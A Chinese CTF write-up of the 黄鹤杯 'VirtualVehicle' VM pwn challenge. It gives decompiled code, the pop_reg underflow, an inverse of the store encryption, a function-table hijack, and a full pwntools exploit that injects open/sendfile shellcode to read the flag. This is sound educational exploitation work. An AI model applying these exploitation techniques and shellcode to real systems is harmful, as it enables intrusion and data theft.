0x00

黄鹤杯也是光荣爆0,师傅们都卡在同一步了(悲)
拖到现在复现了一下

0x01 题目分析

逆向后的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
void __fastcall __noreturn main(int argc, char **argv, char **envp)
{
int n1131796; // [rsp+14h] [rbp-Ch]
int instruction_pointer; // [rsp+18h] [rbp-8h]

n1131796 = 0;
init_vm();
puts("Please input your op:");
read(0, vm_context->instruction_buffer, 0x100uLL);
while ( 1 )
{
instruction_pointer = vm_context->instruction_pointer;
vm_context->instruction_pointer = instruction_pointer + 5;
switch ( *((_BYTE *)vm_context->instruction_buffer + instruction_pointer) )
{
case 1:
((void (__fastcall *)(_QWORD))vm_context->op_table->op_push_reg)((unsigned int)*((char *)vm_context->instruction_buffer
+ instruction_pointer
+ 1));
puts("op 0x1 executed");
break;
case 2:
((void (__fastcall *)(_QWORD))vm_context->op_table->op_push_imm)(*(unsigned int *)((char *)vm_context->instruction_buffer
+ instruction_pointer
+ 1));
puts("op 0x2 executed");
break;
case 3:
((void (__fastcall *)(_QWORD))vm_context->op_table->op_pop_reg)((unsigned int)*((char *)vm_context->instruction_buffer
+ instruction_pointer
+ 1));
puts("op 0x3 executed");
break;
case 4:
vm_context->op_table->op_add_reg(
*((char *)vm_context->instruction_buffer + instruction_pointer + 1),
*((char *)vm_context->instruction_buffer + instruction_pointer + 2),
*((char *)vm_context->instruction_buffer + instruction_pointer + 3));
puts("op 0x4 executed");
break;
case 5:
vm_context->op_table->op_sub_reg(
*((char *)vm_context->instruction_buffer + instruction_pointer + 1),
*((char *)vm_context->instruction_buffer + instruction_pointer + 2),
*((char *)vm_context->instruction_buffer + instruction_pointer + 3));
puts("op 0x5 executed");
break;
case 6:
vm_context->op_table->op_mul_reg(
*((char *)vm_context->instruction_buffer + instruction_pointer + 1),
*((char *)vm_context->instruction_buffer + instruction_pointer + 2),
*((char *)vm_context->instruction_buffer + instruction_pointer + 3));
puts("op 0x6 executed");
break;
case 7:
((void (__fastcall *)(_QWORD, _QWORD, _QWORD))vm_context->op_table->op_store_data)(
(unsigned int)*((char *)vm_context->instruction_buffer + instruction_pointer + 1),
(unsigned int)*((char *)vm_context->instruction_buffer + instruction_pointer + 2),
(unsigned int)*((char *)vm_context->instruction_buffer + instruction_pointer + 3));
puts("op 0x7 executed");
break;
case 8:
((void (__fastcall *)(_QWORD))vm_context->op_table->op_print_data)((unsigned int)*(__int16 *)((char *)vm_context->instruction_buffer + instruction_pointer + 1));
puts("op 0x8 executed");
break;
case 9:
if ( n1131796 )
{
printf("You can not use this op.");
_exit(0);
}
read(0, (char *)vm_context->instruction_buffer + instruction_pointer + 5, 0x100uLL);
*((_BYTE *)vm_context->instruction_buffer + instruction_pointer + 25) = 0;
n1131796 = 1131796;
break;
default:
_exit(0);
}
}
}

关键漏洞在于

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall op_pop_reg(unsigned __int8 n4)
{
if ( vm_context->stack_pointer > 511 )
{
puts("Stack error.");
_exit(0);
}
if ( n4 >= 4u )
{
puts("Wrong reg index.");
_exit(0);
}
vm_context->registers[(char)n4] = *((_DWORD *)vm_context->stack_area + --vm_context->stack_pointer);
return 0LL;
}

pop_reg存在负溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall op_store_data(char a1, unsigned __int8 n4, unsigned __int16 n0x200)
{
if ( a1 )
{
if ( a1 != 1 )
{
puts("Please check your opcode!");
_exit(0);
}
puts("To be developed...");
}
else
{
if ( n4 >= 4u )
{
puts("Wrong reg index.");
_exit(0);
}
if ( n0x200 >= 0x200u )
{
puts("Wrong data index.");
_exit(0);
}
*((_DWORD *)vm_context->data_area + (__int16)n0x200) = encrypt_data(vm_context->registers[(char)n4]);
}
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
__int64 init_vm()
{
__int64 v0; // rbx
__int64 v1; // rbx
void *v3; // [rsp+0h] [rbp-20h]
void *v4; // [rsp+8h] [rbp-18h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
init_seccomp();
opcode_table = (__int64)malloc(0x40uLL);
*(_QWORD *)opcode_table = op_push_reg;
*(_QWORD *)(opcode_table + 8) = op_push_imm;
*(_QWORD *)(opcode_table + 16) = op_pop_reg;
*(_QWORD *)(opcode_table + 24) = op_add_reg;
*(_QWORD *)(opcode_table + 32) = op_sub_reg;
*(_QWORD *)(opcode_table + 40) = op_mul_reg;
*(_QWORD *)(opcode_table + 48) = op_store_data;
*(_QWORD *)(opcode_table + 56) = op_print_data;
v3 = malloc(0x1000uLL);
v4 = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
vm_context = (__int64)malloc(0x30uLL);
*(_QWORD *)vm_context = opcode_table;
*(_DWORD *)(vm_context + 12) = 0;
*(_DWORD *)(vm_context + 8) = 0;
*(_QWORD *)(vm_context + 16) = v3;
v0 = vm_context;
*(_QWORD *)(v0 + 24) = malloc(0x10uLL);
*(_QWORD *)(vm_context + 32) = v4;
v1 = vm_context;
*(_QWORD *)(v1 + 40) = malloc(0x1000uLL);
return 0LL;
}

00000000 struct $2B563B03FB91503FE1E405F06C4B0C26 // sizeof=0x40
00000000 { // XREF: opcode_table_t/r
00000000 void *op_push_reg;
00000008 void *op_push_imm;
00000010 void *op_pop_reg;
00000018 __int64 (__fastcall *op_add_reg)(unsigned __int8 n4, unsigned __int8 n4_1, unsigned __int8 n4);
00000020 __int64 (__fastcall *op_sub_reg)(unsigned __int8 n4, unsigned __int8 n4_1, unsigned __int8 n4);
00000028 __int64 (__fastcall *op_mul_reg)(unsigned __int8 n4, char n3, unsigned __int8 n4);
00000030 void *op_store_data;
00000038 void *op_print_data;
00000040 };

00000000 struct $2A613AA1E1BF23EE4E8D96AF38ED70B3 // sizeof=0x30
00000000 { // XREF: vm_context_t/r
00000000 opcode_table_t *op_table;
00000008 int stack_pointer;
0000000C int instruction_pointer;
00000010 void *stack_area;
00000018 int *registers;
00000020 void *data_area;
00000028 void *instruction_buffer;
00000030 };

虚拟栈和函数表都在堆上,虚拟数据区域在mmap出的地址
这里store时候存在一个加密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_int64 __fastcall encrypt_data(int a1)
{
unsigned int v1; // ecx
unsigned int v2; // esi
unsigned int v3; // edi
unsigned int v5; // [rsp+0h] [rbp-14h]
int i; // [rsp+10h] [rbp-4h]

v5 = __ROL4__(a1, 11);
for ( i = 0; i <= 16; ++i )
{
v1 = ((((((v5 ^ (v5 >> 17)) << 19) & 0xDEADBEEF ^ v5 ^ (v5 >> 17)) << 29) & 0xB14CB12D ^ ((v5 ^ (v5 >> 17)) << 19) & 0xDEADBEEF ^ v5 ^ (v5 >> 17) ^ ((((v5 ^ (v5 >> 17)) << 19) & 0xDEADBEEF ^ v5 ^ (v5 >> 17) ^ ((((v5 ^ (v5 >> 17)) << 19) & 0xDEADBEEF ^ v5 ^ (v5 >> 17)) << 29) & 0xB14CB12D) >> 25)) >> 13) ^ ((((v5 ^ (v5 >> 17)) << 19) & 0xDEADBEEF ^ v5 ^ (v5 >> 17) ^ ((((v5 ^ (v5 >> 17)) << 19) & 0xDEADBEEF ^ v5 ^ (v5 >> 17)) << 29) & 0xB14CB12D) >> 25) ^ ((((v5 ^ (v5 >> 17)) << 19) & 0xDEADBEEF ^ v5 ^ (v5 >> 17)) << 29) & 0xB14CB12D ^ ((v5 ^ (v5 >> 17)) << 19) & 0xDEADBEEF ^ v5 ^ (v5 >> 17);
v2 = v1;
v3 = v1;
v5 = ((v2 ^ (v2 >> 15)) << 17) & 0xDEADBEEF ^ (v1 >> 15) ^ v1 ^ (((v1 >> 15) ^ v2 ^ ((v3 ^ (v3 >> 15)) << 17) & 0xDEADBEEF) << 20);
}
return (unsigned int)__ROR4__(v5, 15);
}

存在输出

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall op_print_data(unsigned __int16 n0x200)
{
if ( n0x200 >= 0x200u )
{
puts("Wrong data index.");
_exit(0);
}
printf("data in offset %d is %x\n", (__int16)n0x200, *((_DWORD *)vm_context->data_area + (__int16)n0x200));
return 0LL;
}

想要结合pop_reg负溢出来利用print_datastore进行leakoverwrite的话需要破解这个加密函数
直接用@powchan学长调教gpt成功破解得到的加解密函数了,看着就头大

0x02 思路

pop_reg负溢出可以控制虚拟栈之前的数据,可以结合print_data泄露地址以及push_imm覆写 vmvtable 劫持执行流;vmdata 区域是权限rwxmmap出地址,考虑写shellcode来进行orw(开启了沙箱);想要泄露地址和写入shellcode需要破解store存在的数据加密;mmap地址的泄露存在困难,因为其位于虚拟栈之后,注意到(比赛时卡在这一步了)可以劫持vatble某个无用选项为start来重启一个新的vm,那么旧的vmmmap区域地址就在新的虚拟栈之前可以泄露出来,而新的mmap地址和旧的是存在固定偏移的。
分析完毕,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/libc6_2.31-0ubuntu9.16_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/libc6-dbg_2.31-0ubuntu9.16_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/glibc-source_2.31-0ubuntu9.16_all/usr/src/glibc/glibc-2.31
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)

io = start()
# pwn :)

MASK32 = 0xFFFFFFFF
M1 = 0xDEADBEEF
M2 = 0xB14CB12D

def u32(x): return x & MASK32

def rol32(x, r):
x &= MASK32; r &= 31
return u32((x << r) | (x >> (32 - r)))

def ror32(x, r):
x &= MASK32; r &= 31
return u32((x >> r) | (x << (32 - r)))

def encrypt_literal(a1):
# 严格逐步按题目 C 实现
v5 = rol32(u32(a1), 11)
for _ in range(17): # n16 = 0..16
# 下面全部是无符号逻辑移位;每一步都截断到 32 位
t0 = v5 ^ (v5 >> 17)
t1 = u32((t0 << 19)) & M1
t2 = u32(t1 ^ v5 ^ (v5 >> 17))
t3 = (u32(t2 << 29)) & M2
# 这块是 v1 的一整条“直译”表达式
v1 = u32((
(
(
(
(u32((v5 ^ (v5 >> 17)) << 19) & M1) ^ v5 ^ (v5 >> 17)
) << 29
) & M2
^ (u32((v5 ^ (v5 >> 17)) << 19) & M1)
^ v5
^ (v5 >> 17)
^ (
(
(u32((v5 ^ (v5 >> 17)) << 19) & M1)
^ v5
^ (v5 >> 17)
^ (
((u32((v5 ^ (v5 >> 17)) << 19) & M1) ^ v5 ^ (v5 >> 17)) << 29
) & M2
) >> 25
)
) >> 13
) ^ (
(
(u32((v5 ^ (v5 >> 17)) << 19) & M1)
^ v5
^ (v5 >> 17)
^ (
((u32((v5 ^ (v5 >> 17)) << 19) & M1) ^ v5 ^ (v5 >> 17)) << 29
) & M2
) >> 25
) ^ (
((u32((v5 ^ (v5 >> 17)) << 19) & M1) ^ v5 ^ (v5 >> 17)) << 29
) & M2
^ (u32((v5 ^ (v5 >> 17)) << 19) & M1)
^ v5
^ (v5 >> 17)
)

tA = u32(v1 ^ (v1 >> 15))
T = (u32(tA << 17)) & M1
v5 = u32(T ^ (v1 >> 15) ^ v1 ^ (u32(((v1 >> 15) ^ v1 ^ T) << 20)))
return ror32(v5, 15)

# ===== 线性代数:用整个 encrypt_literal 构造矩阵并求逆 =====

def mat_from_f(f):
# 第 j 列 = f(1<<j)
rows = [0]*32
for j in range(32):
y = f(1 << j) & MASK32
for i in range(32):
if (y >> i) & 1:
rows[i] |= (1 << j)
return rows # 32 行,每行是 32 位掩码(列方向)

def parity32(x):
# 位奇偶校验(GF(2))
x ^= x >> 16
x ^= x >> 8
x ^= x >> 4
x &= 0xF
return (0x6996 >> x) & 1 # 预置表

def mat_mul_vec(M, x):
x &= MASK32
y = 0
for i in range(32):
if parity32(M[i] & x):
y |= (1 << i)
return y & MASK32

def mat_inv(M):
# 高斯消元(GF(2)),行存
A = M[:]
I = [(1 << i) for i in range(32)]
for col in range(32):
piv = -1
for r in range(col, 32):
if (A[r] >> col) & 1:
piv = r; break
if piv < 0:
raise ValueError("Singular matrix")
if piv != col:
A[col], A[piv] = A[piv], A[col]
I[col], I[piv] = I[piv], I[col]
for r in range(32):
if r != col and ((A[r] >> col) & 1):
A[r] ^= A[col]
I[r] ^= I[col]
return I

# 整体加密变换 E 及其逆 E_inv
E = mat_from_f(encrypt_literal)
E_inv = mat_inv(E)

def encrypt(x): # 方便对拍
return encrypt_literal(x)

def decrypt(c):
# 既然 E 是“整个 encrypt”,直接乘其逆即可
return mat_mul_vec(E_inv, c)

# 基本的vm操作函数
def push_reg(idx):
return b'\x01' + p8(idx) + b'\x00'*3

def push_imm(num):
return b'\x02' + p32(num)

def pop_reg(idx):
return b'\x03' + p8(idx) + b'\x00'*3

def add_reg(res_reg, idx1, idx2):
return b'\x04' + p8(res_reg) + p8(idx1) + p8(idx2) + b'\x00'

def sub_reg(res_reg, idx1, idx2):
return b'\x05' + p8(res_reg) + p8(idx1) + p8(idx2) + b'\x00'

def mul_reg(res_reg, idx1, idx2):
return b'\x06' + p8(res_reg) + p8(idx1) + p8(idx2) + b'\x00'

def store(idx, offset):
return b'\x07\x00' + p8(idx) + p16(offset)

def show(offset):
return b'\x08' + p16(offset) + b'\x00'*2

def over_read():
return b'\x09\x00\x00\x00\x00'

# 负溢泄露elf_base
code = pop_reg(0)*5 + \
store(0, 0) + show(0) + \
pop_reg(1) + store(1, 0) + show(0) + \
over_read() # 利用选项9多读一些操作码

io.recvuntil(b'Please input your op:')
io.send(code)

io.recvuntil(b"data in offset 0 is ")
leak_data = int(io.recvuntil(b"\n")[:-1], 16)
elf_addr_h = decrypt(leak_data)

io.recvuntil(b"data in offset 0 is ")
leak_data = int(io.recvuntil(b"\n")[:-1], 16)
elf_addr_l = decrypt(leak_data)

elf_addr = elf_addr_h << 32 | elf_addr_l | 0xd0
elf_base = elf_addr - 0x20d0
log.success("elf_base --> "+hex(elf_base))
pause()

start_addr = elf_base + 0x1160
read_addr = elf_base + 0x2841

# 覆盖show操作为start,重启一个新的vm
payload = b""
payload += push_imm(start_addr & 0xffffffff) # change print_data to libc_start_main
payload += show(0)

io.send(payload) # 此前执行了选项9,所以可以多发一次opcode来重启新的vm

payload = b''
for i in range(0xc):
payload += pop_reg(1) # 向上负溢出来将vtable中的sub_reg覆盖为over_read()

payload += push_imm(read_addr & 0xffffffff)
payload += pop_reg(0)
payload += sub_reg(0, 0, 0)

io.recvuntil(b'Please input your op:')
io.send(payload)

io.recvuntil(b"op 0x2 executed\n")
io.recvuntil(b"op 0x3 executed\n")

for i in range(350): # 负溢出到旧的vm结构体处来泄露mmap地址
payload = b""
payload += pop_reg(0)*3
payload += sub_reg(0, 0, 0) # over_read
io.send(payload)

for j in range(3):
io.recvuntil(b"op 0x3 executed\n")

payload = b""
payload += sub_reg(0, 0, 0) # 空调一次over_read,调试发现可以抬栈,从而可以控制栈对齐
io.send(payload)

payload = b""
payload += pop_reg(2)
payload += store(2, 0)
payload += show(0)
payload += sub_reg(0, 0, 0)
io.send(payload)

io.recvuntil(b"data in offset 0 is ")
leak_data = int(io.recvuntil(b"\n")[:-1], 16)
mmap_addr_h = decrypt(leak_data)
log.success("mmap_addr_h --> "+hex(mmap_addr_h))
pause()

payload = b""
payload += sub_reg(0, 0, 0)
io.send(payload)

payload = b""
payload += pop_reg(3)
payload += store(3, 0)
payload += show(0)
payload += sub_reg(0, 0, 0)
io.send(payload)

io.recvuntil(b"data in offset 0 is ")
leak_data = int(io.recvuntil(b"\n")[:-1], 16)
mmap_addr_l = decrypt(leak_data)
log.success("mmap_addr_l --> "+hex(mmap_addr_l))
pause()

mmap_addr = mmap_addr_h << 32 | mmap_addr_l
log.success("mmap_addr --> "+hex(mmap_addr))
new_mmap_addr = mmap_addr - 0x221000
log.success("new_mmap_addr --> "+hex(new_mmap_addr))
pause()

# 回到我们新重启的vm,将add_reg()覆写为mmap地址,关键的操作函数维持原样
for i in range(348):
payload = b""
payload += push_imm(0) * 3
payload += sub_reg(0, 0, 0)
io.send(payload)

for j in range(3):
io.recvuntil(b"op 0x2 executed\n")

push_reg_addr = elf_base + 0x1c10
push_imm32_addr = elf_base + 0x1cd0
pop_to_reg_addr = elf_base + 0x1d10
# now our sp is back to normal vtable, then overwrite add()
payload = b""
payload += push_imm(push_reg_addr & 0xffffffff) # push_reg
payload += push_imm((push_reg_addr >> 32) & 0xffffffff)
payload += sub_reg(0, 0, 0)
io.send(payload)
for i in range(2):
io.recvuntil(b"op 0x2 executed\n")

payload = b""
payload += push_imm(push_imm32_addr & 0xffffffff) # push_imm32
payload += push_imm((push_imm32_addr >> 32) & 0xffffffff)
payload += sub_reg(0, 0, 0)
io.send(payload)
for i in range(2):
io.recvuntil(b"op 0x2 executed\n")

payload = b""
payload += push_imm(pop_to_reg_addr & 0xffffffff) # pop_to
payload += push_imm((pop_to_reg_addr >> 32) & 0xffffffff)
payload += sub_reg(0, 0, 0)
io.send(payload)
for i in range(2):
io.recvuntil(b"op 0x2 executed\n")

# 这里覆写
payload = b""
payload += push_imm(new_mmap_addr & 0xffffffff) # mmap_addr
payload += push_imm((new_mmap_addr >> 32) & 0xffffffff)
payload += sub_reg(0, 0, 0)
io.send(payload)
for i in range(2):
io.recvuntil(b"op 0x2 executed\n")

# read
payload = b""
payload += push_imm(read_addr & 0xffffffff) # read_addr
payload += push_imm((read_addr >> 32) & 0xffffffff)
payload += sub_reg(0, 0, 0)
io.send(payload)
for i in range(2):
io.recvuntil(b"op 0x2 executed\n")

# 写入shellcode来call read读入orw的shellcode
payload = b""
payload += push_imm(0xf3f06700)
payload += pop_reg(0) # pop to reg 0
payload += store(0, 0) # store to data
payload += sub_reg(0, 0, 0)
io.send(payload)
io.recvuntil(b"op 0x2 executed\n")
io.recvuntil(b"op 0x3 executed\n")
io.recvuntil(b"op 0x7 executed\n")

payload = b""
payload += push_imm(0xfff1e100)
payload += pop_reg(0) # pop to reg 0
payload += store(0, 1) # store to data
payload += sub_reg(0, 0, 0)
io.send(payload)
io.recvuntil(b"op 0x2 executed\n")
io.recvuntil(b"op 0x3 executed\n")
io.recvuntil(b"op 0x7 executed\n")

payload = b""
payload += push_imm(0xe96cc900)
payload += pop_reg(0) # pop to reg 0
payload += store(0, 2) # store to data
payload += sub_reg(0, 0, 0)
io.send(payload)
io.recvuntil(b"op 0x2 executed\n")
io.recvuntil(b"op 0x3 executed\n")
io.recvuntil(b"op 0x7 executed\n")

pre_shellcode = encrypt(0xf3f06700)
log.info("pre shellcode to call read --> "+hexdump(pre_shellcode))
pre_shellcode = encrypt(0xfff1e100)
log.info("pre shellcode to call read --> "+hexdump(pre_shellcode))
pre_shellcode = encrypt(0xe96cc900)
log.info("pre shellcode to call read --> "+hexdump(pre_shellcode))

payload = b""
payload += add_reg(0, 0, 0) # 触发call read的shellcode
io.send(payload)

pause()
shellcode = asm(shellcraft.open("flag", 0) + shellcraft.sendfile(1, 3, 0, 0x50)).rjust(0x50, b'\x90')
io.send(shellcode) # 发送orw的shellcode

io.interactive()

注意事项

需要注意栈对齐:为什么空调用一次被覆盖为over_readsub_reg可以抬栈呢?这是因为vm是通过call reg来调用对应函数表中的函数的,就以sub_reg的调用为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
t:0000000000002636 loc_2636:                               ; CODE XREF: main+AB↑j
.text:0000000000002636 ; DATA XREF: .rodata:jpt_24DB↓o
.text:0000000000002636 mov rax, cs:vm_context ; jumptable 00000000000024DB case 5
.text:000000000000263D mov rax, [rax+28h]
.text:0000000000002641 mov edx, [rbp+var_8]
.text:0000000000002644 movsxd rdx, edx
.text:0000000000002647 add rdx, 1
.text:000000000000264B add rax, rdx
.text:000000000000264E movzx eax, byte ptr [rax]
.text:0000000000002651 mov [rbp+var_18], al
.text:0000000000002654 mov rax, cs:vm_context
.text:000000000000265B mov rax, [rax+28h]
.text:000000000000265F mov edx, [rbp+var_8]
.text:0000000000002662 movsxd rdx, edx
.text:0000000000002665 add rdx, 2
.text:0000000000002669 add rax, rdx
.text:000000000000266C movzx eax, byte ptr [rax]
.text:000000000000266F mov [rbp+var_17], al
.text:0000000000002672 mov rax, cs:vm_context
.text:0000000000002679 mov rax, [rax+28h]
.text:000000000000267D mov edx, [rbp+var_8]
.text:0000000000002680 movsxd rdx, edx
.text:0000000000002683 add rdx, 3
.text:0000000000002687 add rax, rdx
.text:000000000000268A movzx eax, byte ptr [rax]
.text:000000000000268D mov [rbp+var_16], al
.text:0000000000002690 mov rax, cs:vm_context
.text:0000000000002697 mov rax, [rax]
.text:000000000000269A mov r8, [rax+20h]
.text:000000000000269E movsx edx, [rbp+var_16]
.text:00000000000026A2 movsx ecx, [rbp+var_17]
.text:00000000000026A6 movsx eax, [rbp+var_18]
.text:00000000000026AA mov esi, ecx
.text:00000000000026AC mov edi, eax
.text:00000000000026AE call r8
.text:00000000000026B1 lea rdi, aOp0x5Executed ; "op 0x5 executed"
.text:00000000000026B8 call _puts
.text:00000000000026BD jmp loc_2899

这里的call r8也就调用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
t:0000000000001E80                 endbr64
.text:0000000000001E84 push rbp
.text:0000000000001E85 mov rbp, rsp
.text:0000000000001E88 sub rsp, 10h
.text:0000000000001E8C mov ecx, esi
.text:0000000000001E8E mov eax, edx
.text:0000000000001E90 mov edx, edi
.text:0000000000001E92 mov [rbp+var_4], dl
.text:0000000000001E95 mov edx, ecx
.text:0000000000001E97 mov [rbp+var_8], dl
.text:0000000000001E9A mov [rbp+var_C], al
.text:0000000000001E9D cmp [rbp+var_4], 3
.text:0000000000001EA1 jg short loc_1EC1
.text:0000000000001EA3 cmp [rbp+var_4], 0
.text:0000000000001EA7 js short loc_1EC1
.text:0000000000001EA9 cmp [rbp+var_8], 3
.text:0000000000001EAD jg short loc_1EC1
.text:0000000000001EAF cmp [rbp+var_8], 0
.text:0000000000001EB3 js short loc_1EC1
.text:0000000000001EB5 cmp [rbp+var_C], 3
.text:0000000000001EB9 jg short loc_1EC1
.text:0000000000001EBB cmp [rbp+var_C], 0
.text:0000000000001EBF jns short loc_1ED7
.text:0000000000001EC1
.text:0000000000001EC1 loc_1EC1: ; CODE XREF: op_sub_reg+21↑j
.text:0000000000001EC1 ; op_sub_reg+27↑j ...
.text:0000000000001EC1 lea rdi, aWrongRegIndex ; "Wrong reg index."
.text:0000000000001EC8 call _puts
.text:0000000000001ECD mov edi, 0 ; status
.text:0000000000001ED2 call __exit
.text:0000000000001ED7 ; ---------------------------------------------------------------------------
.text:0000000000001ED7
.text:0000000000001ED7 loc_1ED7: ; CODE XREF: op_sub_reg+3F↑j
.text:0000000000001ED7 mov rax, cs:vm_context
.text:0000000000001EDE mov rax, [rax+18h]
.text:0000000000001EE2 movsx rdx, [rbp+var_8]
.text:0000000000001EE7 shl rdx, 2
.text:0000000000001EEB add rax, rdx
.text:0000000000001EEE mov ecx, [rax]
.text:0000000000001EF0 mov rax, cs:vm_context
.text:0000000000001EF7 mov rax, [rax+18h]
.text:0000000000001EFB movsx rdx, [rbp+var_C]
.text:0000000000001F00 shl rdx, 2
.text:0000000000001F04 add rax, rdx
.text:0000000000001F07 mov edx, [rax]
.text:0000000000001F09 mov rax, cs:vm_context
.text:0000000000001F10 mov rax, [rax+18h]
.text:0000000000001F14 movsx rsi, [rbp+var_4]
.text:0000000000001F19 shl rsi, 2
.text:0000000000001F1D add rax, rsi
.text:0000000000001F20 sub ecx, edx
.text:0000000000001F22 mov edx, ecx
.text:0000000000001F24 mov [rax], edx
.text:0000000000001F26 mov eax, 0
.text:0000000000001F2B leave
.text:0000000000001F2C retn
.text:0000000000001F2C ; } // starts at 1E80

可以看到最后是有ret与这个call来对应,从而整个调用不会影响栈;但是在我们覆盖其为over_read之后,call r8调用的变成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
t:0000000000002841 loc_2841:                               ; CODE XREF: main+3F4↑j
.text:0000000000002841 mov rax, cs:vm_context
.text:0000000000002848 mov rax, [rax+28h]
.text:000000000000284C mov edx, [rbp+var_8]
.text:000000000000284F movsxd rdx, edx
.text:0000000000002852 add rdx, 5
.text:0000000000002856 add rax, rdx
.text:0000000000002859 mov edx, 100h ; nbytes
.text:000000000000285E mov rsi, rax ; buf
.text:0000000000002861 mov edi, 0 ; fd
.text:0000000000002866 call _read
.text:000000000000286B mov rax, cs:vm_context
.text:0000000000002872 mov rax, [rax+28h]
.text:0000000000002876 mov edx, [rbp+var_8]
.text:0000000000002879 movsxd rdx, edx
.text:000000000000287C add rdx, 19h
.text:0000000000002880 add rax, rdx
.text:0000000000002883 mov byte ptr [rax], 0
.text:0000000000002886 mov [rbp+var_C], 114514h
.text:000000000000288D jmp short loc_2899

可以看到是jmp跳转回去的,那么call指令压栈的返回地址没有弹出,也就造成了抬栈的效果
另外还需要over_read选项的截断问题
同时避免store写入shellcode麻烦(需要绕过加密),先造一个read来读入后续shellcode
效果

1
2
3
4
5
6
7
8
[*] Switching to interactive mode
[DEBUG] Received 0x24 bytes:
b'flag{this-is-test-flag-for-hhb2025}\n'
flag{this-is-test-flag-for-hhb2025}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process '/home/r3t2/ctf/hhb2025/VirtualVehicle/pwn' stopped with exit code -11 (SIGSEGV) (pid 23995)